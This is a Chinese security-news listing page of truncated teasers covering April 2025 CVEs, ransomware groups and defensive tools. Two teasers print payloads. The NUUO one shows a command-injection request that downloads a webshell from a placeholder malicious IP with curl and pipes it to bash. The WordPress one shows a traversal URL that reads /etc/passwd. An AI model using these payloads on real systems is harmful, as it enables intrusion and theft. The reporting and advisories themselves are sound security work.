Ruby 服务器中存在 Rack::Static 漏洞，可导致数据遭泄露
Ruby 服务器中存在 Rack::Static 漏洞，可导致数据遭泄露 Ravie Lakshmanan 代码卫士 2025-04-28 08:39 聚焦源代码安全，网罗国内外最新资讯！ 编译：代码卫士 网络安全研究员披露了位于 Rack Ruby web 服务器界面中的多个安全漏洞。如遭成功利用，它们可导致攻击者越权访问文件、注入恶意数据并在某些情况下篡改日志。 这些漏洞如下： CVE-202
继续阅读标签： CVE
雷神众测漏洞周报2025.4.21-2025.4.27
雷神众测漏洞周报2025.4.21-2025.4.27 雷神众测 雷神众测 2025-04-28 07:00 摘要 以下内容，均摘自于互联网，由于传播，利用此文所提供的信息而造成的任何直接或间接的后果和损失，均由使用者本人负责，雷神众测以及文章作者不承担任何责任。 雷神众测拥有该文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的副本，包括版权声明等全部内容。声明雷神众测允许，不得任意修改或
继续阅读面对零日漏洞：如何提高应对能力？
面对零日漏洞：如何提高应对能力？ 原创 deepsec 深安安全 2025-04-28 06:37 在网络安全领域，”零日漏洞”（Zero-Day Vulnerability）是最令企业和个人头疼的威胁之一。攻击者利用尚未被公开或修复的漏洞发起攻击，而防御方往往措手不及。近年来，零日漏洞攻击事件频发，如SolarWinds供应链攻击、微软Exchange漏洞等，均造成了巨大
继续阅读Craft CMS CVE-2025-32432 exp发布
Craft CMS CVE-2025-32432 exp发布 独眼情报 2025-04-28 06:32 Craft CMS 0day, CVE-2025-32432 安全研究员 Chocapikk 发布了一个 Metasploit 模块，用于影响 Craft CMS 的关键零日漏洞，该漏洞被追踪为 CVE-2025-32432 (CVSS 10)。 这种远程代码执行 (RCE) 漏洞，当与 Yi
继续阅读StudentServlet-JSP跨站脚本漏洞及解决办法（CNVD-2025-06945、CVE-2025-3036）
StudentServlet-JSP跨站脚本漏洞及解决办法（CNVD-2025-06945、CVE-2025-3036） 原创 护卫神 护卫神说安全 2025-04-28 01:56 StudentServlet-JSP 是一个基于 Java Web 技术的开源学生管理系统示例项目，旨在帮助初学者掌握 Servlet 和 JSP 的核心概念及开发流程。项目通过分权管理模式实现学生、教师和管理员的功
继续阅读Planet Technology 工业交换机漏洞可导致设备被接管
Planet Technology 工业交换机漏洞可导致设备被接管 会杀毒的单反狗 军哥网络安全读报 2025-04-28 01:03 导读 网络安全公司 Immersive 发现影响中国台湾网络设备制造商 Planet Technology 生产的网络管理工具和工业交换机的严重安全漏洞。根据该公司的博客文章，漏洞可能导致攻击者能够接管受影响的网络设备。 Immersive 的安全研究员 Kev
继续阅读核弹级漏洞预警｜NUUO监控设备远程沦陷实录(CVE-2025-1338)
核弹级漏洞预警｜NUUO监控设备远程沦陷实录(CVE-2025-1338) 云梦DC 云梦安全 2025-04-28 01:01 0x01 漏洞杀伤链 攻击向量： GET /handle_config.php?log=;curl${IFS}http://恶意IP/webshell.sh|bash; HTTP/1.1 Host: target-ip 实现效果： ✅ 任意命令执行（代码注入） ✅ /e
继续阅读Wazuh监视恶意命令执行
Wazuh监视恶意命令执行 原创 网络安全菜鸟 安全孺子牛 2025-04-28 00:33 点击蓝字，关注我 1.简介 1.1 功能简介 Auditd 是 Linux 系统原生的审计实用程序。它用于 Linux 终结点中的记账操作和更改。 在 Ubuntu 端点上配置 Auditd，以考虑给定用户执行的所有命令。这包括用户在模式下或更改为 root 用户后运行的命令。您可以配置自定义 Wazuh
继续阅读漏洞预警 | PyTorch远程命令执行漏洞
漏洞预警 | PyTorch远程命令执行漏洞 浅安 浅安安全 2025-04-28 00:01 0x00 漏洞编号 – # CVE-2025-32434 0x01 危险等级 – 高危 0x02 漏洞概述 PyTorch是一个开源的深度学习框架，广泛用于机器学习和人工智能领域。 0x03 漏洞详情 CVE-2025-32434 漏洞类型： 命令执行 影响： 执行任意代码 简述
继续阅读CVE-2025-43859：Python h11 HTTP 库中的请求走私漏洞
CVE-2025-43859：Python h11 HTTP 库中的请求走私漏洞 NightTeam 夜组OSINT 2025-04-28 00:00 漏洞描述 h11 是一个极简的、与 I/O 无关的、用 Python 编写的 HTTP/1.1 协议库，该库中发现了一个严重漏洞，编号为 CVE-2025-43859。该漏洞的 CVSS 评级为 9.1，当 h11 与配置错误或存在缺陷的 HTTP
继续阅读2025 年第一季度漏洞利用趋势
2025 年第一季度漏洞利用趋势 原创 vulncheck 喵苗安全 2025-04-27 16:11 已知被利用漏洞（Known Exploited Vulnerabilities，本文简称 KEV） 指的是已经被证实在现实中被攻击者利用过的漏洞。也就是说，这类漏洞不仅存在理论上的风险，而是已经有实际攻击案例，在野（in the wild）被利用过。 美国 CISA（网络安全与基础设施安全局）
继续阅读【成功复现】CrushFTP身份认证绕过漏洞（CVE-2025-2825)
【成功复现】CrushFTP身份认证绕过漏洞（CVE-2025-2825) sec0nd安全 2025-04-27 14:05 网安引领时代，弥天点亮未来 0x00写在前面 本次测试仅供学习使用，如若非法他用，与平台和本文作者无关，需自行负责！ 0x01漏洞介绍CrushFTP 是由 CrushFTP LLC 开发的文件传输服务器软件，它的主要用途是提供安全、可靠的文件传输服务。它允许用户通过
继续阅读【安全圈】CVE-2025-3248：Langflow 开源平台严重远程代码执行漏洞威胁 AI 工作流安全
【安全圈】CVE-2025-3248：Langflow 开源平台严重远程代码执行漏洞威胁 AI 工作流安全 安全圈 2025-04-27 11:01 关键词 安全漏洞 网络安全研究人员在 Langflow 中发现了一个严重的远程代码执行（RCE）漏洞。Langflow 是一个被广泛用于以可视化方式构建由人工智能驱动的智能体和工作流程的开源平台。 这个高严重性漏洞被编号为 CVE-2025-3248
继续阅读Craft CMS RCE利用链用于窃取数据
Craft CMS RCE利用链用于窃取数据 Lawrence Abrams 代码卫士 2025-04-27 10:12 聚焦源代码安全，网罗国内外最新资讯！ 编译：代码卫士 Orange Cyberdefense 公司提到，Craft CMS 中存在两个漏洞，可用于攻陷服务器和窃取数据。 这两个漏洞是由 Orange Cyberdefense 公司的部门CSIRT在调查一台受陷服务器时发现的。这
继续阅读【已复现】Craft CMS generate-transform 反序列化代码执行漏洞（CVE-2025-32432）
【已复现】Craft CMS generate-transform 反序列化代码执行漏洞（CVE-2025-32432） 原创 安全探索者 安全探索者 2025-04-27 10:07 ↑点击关注，获取更多漏洞预警，技术分享 0x01 组件介绍 Craft CMS 是一个灵活、用户友好的内容管理系统，用于创建自定义的数字网络体验和其他体验。 搜索语法： app=”craft-cms&#
继续阅读CVSS10分！Erlang/OTP SSH远程代码执行漏洞安全风险通告
CVSS10分！Erlang/OTP SSH远程代码执行漏洞安全风险通告 应急响应中心 亚信安全 2025-04-27 10:07 今日，亚信安全CERT监控到安全社区研究人员发布安全通告，Erlang/OTP存在一个远程代码执行漏洞，编号为 CVE-2025-32433。攻击者可以通过构造特定 SSH 协议消息，在未进行身份验证的情况下在受影响的系统上执行任意代码。这一漏洞使得攻击者能够获取系统
继续阅读SAP NetWeaver中存在严重漏洞，面临主动利用威胁
SAP NetWeaver中存在严重漏洞，面临主动利用威胁 原创 David Jones 信息安全D1net 2025-04-27 09:44 点击上方“蓝色字体 ”，选择 “设为星标 ” 关键讯息，D1时间送达！ 已观察到攻击者正在投放webshell后门程序，研究人员警告称，该应用程序在政府机构中颇受欢迎。 安全研究人员警告称，黑客正在积极利用SAP NetWeaver Visual Comp
继续阅读容器镜像安全：安全漏洞扫描神器Trivy
容器镜像安全：安全漏洞扫描神器Trivy 马哥网络安全 2025-04-27 09:00 目录 – 一.系统环境 二.前言 三.Trivy简介 四.Trivy漏洞扫描原理 五.利用trivy检测容器镜像的安全性 六.总结 一.系统环境 本文主要基于Docker version 20.10.14和Linux操作系统Ubuntu 18.04。 服务器版本 docker软件版本 CPU架构
继续阅读【二次更新已复现】SAP NetWeaver MetadataUploader 文件上传漏洞（CVE-2025-31324）
【二次更新已复现】SAP NetWeaver MetadataUploader 文件上传漏洞（CVE-2025-31324） 原创 安全探索者 安全探索者 2025-04-27 07:57 ↑点击关注，获取更多漏洞预警，技术分享 0x01 组件介绍 SAP NetWeaver是SAP的集成技术平台，是自从SAP Business Suite以来的所有SAP应用的技术基础。SAP NetWeaver
继续阅读注意！朝鲜Kimsuky组织利用BlueKeep漏洞，疯狂攻击日韩
注意！朝鲜Kimsuky组织利用BlueKeep漏洞，疯狂攻击日韩 原创 紫队 紫队安全研究 2025-04-27 03:59 大家好，我是紫队安全研究。建议大家把公众号“紫队安全研究”设为星标，否则可能就无法及时看到啦！因为公众号只对常读和星标的公众号才能大图推送。操作方法：先点击上面的“紫队安全研究”，然后点击右上角的【…】,然后点击【设为星标】即可。 在网络安全的战场上，威胁总是
继续阅读【高危漏洞预警】Craft CMS generate-transform反序列化代码执行漏洞（CVE-2025-32432）
【高危漏洞预警】Craft CMS generate-transform反序列化代码执行漏洞（CVE-2025-32432） cexlife 飓风网络安全 2025-04-27 03:57 漏洞描述: Craft CMS是一个灵活、用户友好的内容管理系统,用于创建自定义的数字网络体验和其他体验,攻击者可构造恶意请求利用generate-transform端点触发反序列化,执行任意代码控制服务器,未
继续阅读DragonForce 和 Anubis 勒索软件运营商推出新的联盟模式
DragonForce 和 Anubis 勒索软件运营商推出新的联盟模式 邑安科技 邑安全 2025-04-27 03:29 更多全球网络安全资讯尽在邑安全 尽管针对主要勒索软件计划的国际执法行动造成了重大破坏，但网络犯罪集团在 2025 年继续表现出非凡的适应性。 两个值得注意的勒索软件运营公司 DragonForce 和 Anubis 引入了创新的联盟模式，旨在扩大其影响范围并提高其在不断发展
继续阅读黑客利用MS-SQL服务器漏洞部署Ammyy Admin以获取远程访问权限
黑客利用MS-SQL服务器漏洞部署Ammyy Admin以获取远程访问权限 邑安科技 邑安全 2025-04-27 03:29 更多全球网络安全资讯尽在邑安全 已发现一个针对易受攻击的 Microsoft SQL Server 的复杂网络攻击活动，旨在部署远程访问工具和权限提升恶意软件。 安全研究人员已经发现，威胁行为者专门利用安全性不佳的 MS-SQL 实例来安装 Ammyy Admin，这是一
继续阅读Chrome浏览器”释放后使用”漏洞已被黑客在野利用
Chrome浏览器”释放后使用”漏洞已被黑客在野利用 邑安科技 邑安全 2025-04-27 03:29 更多全球网络安全资讯尽在邑安全 Google Chrome 浏览器面临一系列备受瞩目的安全事件，涉及释放后使用 （UAF） 漏洞，其中有几起漏洞已被广泛利用。 这些缺陷植根于不当的内存管理，已成为攻击者寻求绕过浏览器沙盒并在受害者计算机上执行任意代码的持续威胁媒介。 当
继续阅读CrushFtp 权限绕过漏洞 (CVE-2025-31161)
CrushFtp 权限绕过漏洞 (CVE-2025-31161) Superhero Nday Poc 2025-04-27 03:03 内容仅用于学习交流自查使用，由于传播、利用本公众号所提供的 POC 信息及 POC对应脚本 而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号Nday Poc及作者不为此承担任何责任，一旦造成后果请自行承担！ 01 漏洞概述 该漏洞源于 HTTP
继续阅读WordPress未授权任意文件读取_CVE-2025-2294
WordPress未授权任意文件读取_CVE-2025-2294 云梦DC 云梦安全 2025-04-27 01:10 一、漏洞暗藏杀机 攻击者只需发送特制URL： http://xxxx/?__kubio参数=../../../etc/passwd 即可实现： 🔴 服务器敏感文件裸奔（数据库配置/用户凭证） 🔴 PHP代码植入（篡改支付页面/盗取用户数据） 🔴 供应链投毒（针对使用该插件的开发公
继续阅读170页 漏洞挖掘总结
170页 漏洞挖掘总结 计算机与网络安全 2025-04-26 23:57 扫码加入知识星球： 网络安全攻防（HVV） 下载全套资料 漏洞挖掘是信息安全领域的重要技术手段，旨在发现软件、系统或网络中的潜在安全缺陷。其核心在于通过主动测试与逆向分析，定位可能被攻击者利用的薄弱环节。典型流程通常从信息收集开始，包括目标系统的版本信息、开放端口、服务框架等基础数据，例如使用Nmap扫描工具获取网络拓扑结
继续阅读某初始访问代理（Initial Access Broker）正在利用SAP NetWeaver的零日漏洞进行攻击
某初始访问代理（Initial Access Broker）正在利用SAP NetWeaver的零日漏洞进行攻击 鹏鹏同学 黑猫安全 2025-04-26 23:04 网络安全研究人员警告，SAP NetWeaver平台中一个被评为10分（CVSS最高分）的零日漏洞（CVE-2025-31324）正遭活跃利用，数千个暴露在互联网的应用系统面临风险。 漏洞分析 该漏洞存在于SAP NetWeaver
继续阅读第120篇：蓝队溯源之蚁剑、sqlmap、Goby反制方法的复现与分析
第120篇：蓝队溯源之蚁剑、sqlmap、Goby反制方法的复现与分析 原创 abc123info 希潭实验室 2025-04-26 13:30 Part1 前言 大家好，我是 ABC_123。最近在更新蓝队分析研判工具箱中的溯源反制功能时，我阅读了大量相关的技术文章。很多资料提到了早期版本的蚁剑、sqlmap、goby等工具的反制思路，其中的一些方法非常有参考价值。不过，ABC_123在复现过程
继续阅读mojoPortal 路径穿越漏洞 (CVE-2025-28367)
mojoPortal 路径穿越漏洞 (CVE-2025-28367) Superhero Nday Poc 2025-04-26 13:18 内容仅用于学习交流自查使用，由于传播、利用本公众号所提供的 POC 信息及 POC对应脚本 而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号Nday Poc及作者不为此承担任何责任，一旦造成后果请自行承担！ 01 漏洞概述 在 mojoPor
继续阅读